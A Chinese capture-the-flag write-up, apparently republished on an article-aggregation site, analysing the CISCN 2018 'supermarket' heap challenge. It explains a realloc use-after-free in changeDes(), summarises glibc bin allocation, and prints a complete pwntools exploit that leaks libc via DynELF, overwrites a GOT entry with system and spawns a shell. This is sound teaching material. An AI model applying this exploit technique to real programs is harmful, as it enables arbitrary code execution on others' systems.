CISCN-2018-Quals——supermarket分析

2023-12-12 20:59

本文主要是介绍CISCN-2018-Quals——supermarket分析,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

supermarket的题目分析

2020-02-01 11:26:17 by hawkJW


题目附件、ida文件及wp链接


   这道题实际上我们大体一看,就可以发现是于堆相关的题目,正好用这道题来学习内存的分配机制。这个分配机制是经过查阅的资料综合一些实验,经过自己的理解得出来的,如果有错误,希望各位师傅谅解!


1. 程序流程总览

首先,按照惯例,我们看一下程序开启的保护措施,如图所示

除了栈上不可以执行以外,其余的保护措施基本没有开启,因此该程序的保护措施还是比较松的。

下面我们来粗略的浏览一下程序的源代码来分析程序流程(ida文件已经经过优化,提高其可读性)

  

实际上,前两个程序并不是很重要,程序流程主要在第三个函数中,我们详细看一下

可以看出来,这是一个比较经典的菜单类题目,我们需要通过程序给出的6个功能 add()、dele()、lis()、changePrice()、changeDes()、exit() 来达到获取shell的目的

 

实际上,我们根据程序的名称以及所给的功能,可以猜到,这应该是添加、修改、删除货物的程序,因此我们需要首先获取货物是如何在程序中进行存储的,即货物的数据结构,我们可以在 add() 函数中分析出来。

通过printf中的各种提示内容,以及上下文,我们可以分析出数据的字段顺序、字段大小以及字段含义,基本如下图所示

因此,实际上,整个程序的数据的结构如下图所示


 2. 漏洞分析

  实际上,该程序的漏洞比较隐蔽,主要是位于 changeDes() 下面这部分代码

注意到这里使用了 realloc 函数,简单介绍一下 realloc 函数

char *realloc(char *ptr, unsigned int newSize) {unsigned int curSize;char *newPtr;if (ptr == 0) {return malloc(newSize);}curSize = Mem_Size(ptr);  //获取ptr所对应的实际区块的大小if (newSize <= curSize) {return ptr;}newPtr = malloc(newSize);bcopy(ptr, newPtr, (int) curSize);free(ptr);return(newPtr);
}  
/*  即如果newSize要比ptr对应的实际区块的大小还要大的话,只能先开辟新的空间,将数据转移后,释放掉久的空间其他情况的话,仍然返回初始空间
*/

 

也就是说,如果一旦程序代码数据有

size >= (*(&items + v1))->description_size + 2 * SIZE_SZ

实际上上面的 realloc((void *)(*(&items + v1))->description, size) 的函数就可以近似为

realloc((void *)(*(&items + v1))->description, size){free((*(&items + v1))->description);return malloc(size);
}

但是由于并没有及时的让 (*(&items + v1))->description 更新到新 malloc() 的内存处,因此, (*(&items + v1))->description 仍然指向已经被 free() 掉的内存,自然的我们此时仍然可以向 free() 掉的内存处写入数据(使用程序提供的 changeDes() )。这样子,如果我们再配合计算机的 malloc() 机制,将这个被释放的内存重新分配成一个货物,我们就可以控制该货物的所有参数,从而达到任意地址的读(通过 lis() 函数)、写(通过 changeDes() 函数),从而获取 shell 


 3. 漏洞利用

   知道了上述的程序漏洞后,就可以方便的利用该漏洞来获取 shell ,按照上面的漏洞原理,我们要做的是将free()掉的内存,记为货物A的描述,重新分配给新的货物,记为货物B,从而利用漏洞来达到对任意地址的读、写功能。

  分析程序知道,货物数据的大小为 0x1c ,由于这是32位程序,其分配到的实际块大小为 (0x1c + 0x4) align to 0x8 = 0x20 ,也就是我们需要让该0x20的大小货物B从free()掉的内存来进行分配,就可使用上述的漏洞。

 

  这里需要稍微简单的介绍一下的内存分配机制。实际上,malloc()将堆分为了 fastbin 、 smallbin 、 largebin 以及 unsorted bin 几个类型

  1.  fastbin

   fastbin 的大小从 SIZE_SZ * 4 开始,以步长为 SIZE_SZ * 2 开始,一直到 64 * SIZE_SZ / 4 为止。每一个大小由单向链表进行组织。

  2.  smallbin

  smallbin的大小从SIZE_SZ * 4开始,以步长为SIZE_SZ * 2开始,一直到 63 * SIZE_SZ * 2 为止。每一个大小代表着一个双向循环链表进行组织。

  3.  unsorted bin

  unsorted bin的大小没有什么特殊的要求,但一般的,其大小应该至少大于fastbin的最大值,也就是64 * SIZE_SZ / 4

  4.  largebin

  largebin顾名思义,其是相对于比较大的块,当然,且也进行按照大小进行了分类,但是不同于上面的分类,其每一个类内的大小是处于一个范围而非精确值。其范围宽度为32个64字节、16个512字节、8个4096字节、4个32768字节、2个262144字节,当然还有最后一个分组的范围宽度没有限制。

  上面介绍完了对应的几个块的类型,下面来说具体的机制。

  1. 分配

  我们首先要将申请的大小转换为对应的块的实际大小,即 max(SIZE_SZ * 4, (size + 8) align to (SIZE_SZ * 2)) 如果大小范围在fastbin范围之中,则首先直接到对应大小的单向链表中查询;如果没有的话,再在smallbin之中的对应的大小进行查找;如果还是没有的话,在unsorted bin中查找块的大小满足需求,则直接切割分配即可,如果没有切割剩余,则结束即可;若有切割剩余,将切割剩余的仍然放在unsorted bin中,将unsorted bin中的其余的块按照对应的大小分别放入smallbin或largebin中;如果还是不行,再在largebin中查找对应的块,即首先将所有的fastbin合并移入smallbin或largebin,如果对应的块的切分部分大于SIZE_SZ * 4,则将剩余部分放入unsorted bin;如果还是没有的话,则在top块(特殊块)进行分配;如果top块也无法满足,则使用mmap来进行映射。

  2. 回收

  如果块的大小在fastbin范围之中,将对应的块放入到对应的fastbin之中。如果块的大小不在fastbin的范围之中,则将物理上相邻的释放块进行合并,如果还与TOP块相邻,则合并入到TOP块中,否则放入到unsorted bin之中,如果该合并的块足够大,将会将所有的fastbin合并并再次放入到unsorted bin之中。

  总而言之,简单的回顾了一下内存的分配以及回收机制,现在回到整体上来——即如何让该0x20大小的数据,即货物B,从free()掉的内存,即货物A的描述来进行分配

  因为实际上0x20大小的货物B处于fastbin范围中,那么我们其中一个直观的想法是假如一开始 (*(&items + v1))->description_size 的值为 0x1c ,那么实际上将分配的货物A的描述的大小为0x20,如果此时我们令 realloc((void *)(*(&items + v1))->description, size) 中size大小大于0x20,则成功将其释放,如果我们在重新使用add()来申请货物B话,那么就可以申请到该被释放的空间,则完成漏洞的利用。但是实际上是有问题的,如果我们想修改货物B的参数,则需要使用changeDes()来修改货物A的描述,将realloc((void *)(*(&items + v1))->description, size)中size大小仍然设置为0x1c,就可以修改货物A的描述,也即货物B的参数,然而修改参数的函数稍微有些限制,如图所示

实际上其仅仅能最多读取 length - 1 字节的输入,也就是我们仅仅能修改货物B的参数最多前0x1b字节,而实际上我们真正想修改的是货物B的描述信息的地址,而其位置恰处于第0x19-0x1c字节。由于该限制,我们就无法实现任意地址的读、写。因此,我们需要换一个思路,既能满足上述的漏洞利用条件——货物B从free()的货物A的描述中来分配,同时可以完全修改货物B的所有参数。实际上,根据上面讲到的,我们还有另外一种思路,我们实际上,我们可以通过切割,即让货物A的描述释放后位于unsorted bin之中,而货物B的分配是通过分割货物A的描述,这样子,我们就不会出现上面的问题了,于是就可以利用该漏洞。

下面,我们大概描述一下漏洞利用中的结构变换,首先申请3个货物

add('1', 10, 8, 'a')
add('2', 10, 0x98, 'a')
add('3', 10, 4, 'a')

记住,第二个就相当于我们之前提到的货物A,则其结构如图所示,

下面我们按照之前说的进行漏洞利用,从而构造一个货物B,其名称为‘4’

changeDes('2', 0x100, 'a')
add('4', 10, 4, 'a')

则其结构变为

下面的步骤就很简单了,主要就是通过 DynELF 来获取 system 函数的位置,从而完成漏洞利用

这里就不详细说了,直接放出完整的wp

#coding:utf-8
from pwn import *# context.log_level = 'debug'
debug = 1 if debug == 1:r = process('./supermarket')# gdb.attach(r)
else:r = remote('111.198.29.45', 56608)def add(name, price, descrip_size, description):r.recvuntil('your choice>> ')r.send('1\n')r.recvuntil('name:')r.send(name + '\n')r.recvuntil('price:')r.send(str(price) + '\n')r.recvuntil('descrip_size:')r.send(str(descrip_size) + '\n')r.recvuntil('description:')r.send(str(description) + '\n')def dele(name):r.recvuntil('your choice>> ')r.send('2\n')r.recvuntil('name:')r.send(name + '\n')def lis():r.recvuntil('your choice>> ')r.send('3\n')r.recvuntil('all  commodities info list below:\n')return r.recvuntil('\n---------menu---------')[:-len('\n---------menu---------')]def changePrice(name, price):r.recvuntil('your choice>> ')r.send('4\n')r.recvuntil('name:')r.send(name + '\n')r.recvuntil('input the value you want to cut or rise in:')r.send(str(price) + '\n')def changeDes(name, descrip_size, description):r.recvuntil('your choice>> ')r.send('5\n')r.recvuntil('name:')r.send(name + '\n')r.recvuntil('descrip_size:')r.send(str(descrip_size) + '\n')r.recvuntil('description:')r.send(description + '\n')def exit():r.recvuntil('your choice>> ')r.send('6\n')add('1', 10, 8, 'a')
add('2', 10, 0x98, 'a')
add('3', 10, 4, 'a')
changeDes('2', 0x100, 'a')
add('4', 10, 4, 'a')def leak_one(address):changeDes('2', 0x98, '4' + '\x00' * 0xf + p32(2) + p32(0x8) + p32(address))res = lis().split('des.')[-1]if(res == '\n'):return '\x00'return res[0]def leak(address):content =  leak_one(address) + leak_one(address + 1) + leak_one(address + 2) + leak_one(address + 3)log.info('%#x => %#x'%(address, u32(content)))return contentd = DynELF(leak, elf = ELF('./supermarket'))
system_addr = d.lookup('system', 'libc') 
log.info('system \'s address = %#x'%(system_addr))
bin_addr = 0x0804B0B8
changeDes('1', 0x8, '/bin/sh\x00')
changeDes('2', 0x98, '4' + '\x00' * 0xf + p32(2) + p32(0x8) + p32(0x0804B018))
changeDes('4', 8, p32(system_addr))
dele('1')r.interactive()

总结

  这道题主要考察了两个方面,一个是漏洞的查找——因为我对于 realloc() 不是很熟悉,所以找到这个漏洞点确实废了不少时间;另一个就是对于内存分配机制的理解,虽然我查了不少资料,但是总感觉还是查了一点意思。所以上面我写的内存的分配与回收步骤是按照我查阅的资料以及自己的一些理解和实验上写出来的,如果有错误,还望各位师傅理解!

这篇关于CISCN-2018-Quals——supermarket分析的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/485921

相关文章

性能分析之MySQL索引实战案例

文章目录 一、前言二、准备三、MySQL索引优化四、MySQL 索引知识回顾五、总结 一、前言 在上一讲性能工具之 JProfiler 简单登录案例分析实战中已经发现SQL没有建立索引问题,本文将一起从代码层去分析为什么没有建立索引? 开源ERP项目地址:https://gitee.com/jishenghua/JSH_ERP 二、准备 打开IDEA找到登录请求资源路径位置

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

SWAP作物生长模型安装教程、数据制备、敏感性分析、气候变化影响、R模型敏感性分析与贝叶斯优化、Fortran源代码分析、气候数据降尺度与变化影响分析

查看原文>>>全流程SWAP农业模型数据制备、敏感性分析及气候变化影响实践技术应用 SWAP模型是由荷兰瓦赫宁根大学开发的先进农作物模型,它综合考虑了土壤-水分-大气以及植被间的相互作用;是一种描述作物生长过程的一种机理性作物生长模型。它不但运用Richard方程,使其能够精确的模拟土壤中水分的运动,而且耦合了WOFOST作物模型使作物的生长描述更为科学。 本文让更多的科研人员和农业工作者

MOLE 2.5 分析分子通道和孔隙

软件介绍 生物大分子通道和孔隙在生物学中发挥着重要作用,例如在分子识别和酶底物特异性方面。 我们介绍了一种名为 MOLE 2.5 的高级软件工具,该工具旨在分析分子通道和孔隙。 与其他可用软件工具的基准测试表明,MOLE 2.5 相比更快、更强大、功能更丰富。作为一项新功能,MOLE 2.5 可以估算已识别通道的物理化学性质。 软件下载 https://pan.quark.cn/s/57

衡石分析平台使用手册-单机安装及启动

单机安装及启动​ 本文讲述如何在单机环境下进行 HENGSHI SENSE 安装的操作过程。 在安装前请确认网络环境,如果是隔离环境,无法连接互联网时,请先按照 离线环境安装依赖的指导进行依赖包的安装,然后按照本文的指导继续操作。如果网络环境可以连接互联网,请直接按照本文的指导进行安装。 准备工作​ 请参考安装环境文档准备安装环境。 配置用户与安装目录。 在操作前请检查您是否有 sud

线性因子模型 - 独立分量分析(ICA)篇

序言 线性因子模型是数据分析与机器学习中的一类重要模型,它们通过引入潜变量( latent variables \text{latent variables} latent variables)来更好地表征数据。其中,独立分量分析( ICA \text{ICA} ICA)作为线性因子模型的一种,以其独特的视角和广泛的应用领域而备受关注。 ICA \text{ICA} ICA旨在将观察到的复杂信号

【软考】希尔排序算法分析

目录 1. c代码2. 运行截图3. 运行解析 1. c代码 #include <stdio.h>#include <stdlib.h> void shellSort(int data[], int n){// 划分的数组,例如8个数则为[4, 2, 1]int *delta;int k;// i控制delta的轮次int i;// 临时变量,换值int temp;in

三相直流无刷电机(BLDC)控制算法实现:BLDC有感启动算法思路分析

一枚从事路径规划算法、运动控制算法、BLDC/FOC电机控制算法、工控、物联网工程师,爱吃土豆。如有需要技术交流或者需要方案帮助、需求:以下为联系方式—V 方案1:通过霍尔传感器IO中断触发换相 1.1 整体执行思路 霍尔传感器U、V、W三相通过IO+EXIT中断的方式进行霍尔传感器数据的读取。将IO口配置为上升沿+下降沿中断触发的方式。当霍尔传感器信号发生发生信号的变化就会触发中断在中断

kubelet组件的启动流程源码分析

概述 摘要: 本文将总结kubelet的作用以及原理,在有一定基础认识的前提下,通过阅读kubelet源码,对kubelet组件的启动流程进行分析。 正文 kubelet的作用 这里对kubelet的作用做一个简单总结。 节点管理 节点的注册 节点状态更新 容器管理(pod生命周期管理) 监听apiserver的容器事件 容器的创建、删除(CRI) 容器的网络的创建与删除

PostgreSQL核心功能特性与使用领域及场景分析

PostgreSQL有什么优点? 开源和免费 PostgreSQL是一个开源的数据库管理系统,可以免费使用和修改。这降低了企业的成本,并为开发者提供了一个活跃的社区和丰富的资源。 高度兼容 PostgreSQL支持多种操作系统(如Linux、Windows、macOS等)和编程语言(如C、C++、Java、Python、Ruby等),并提供了多种接口(如JDBC、ODBC、ADO.NET等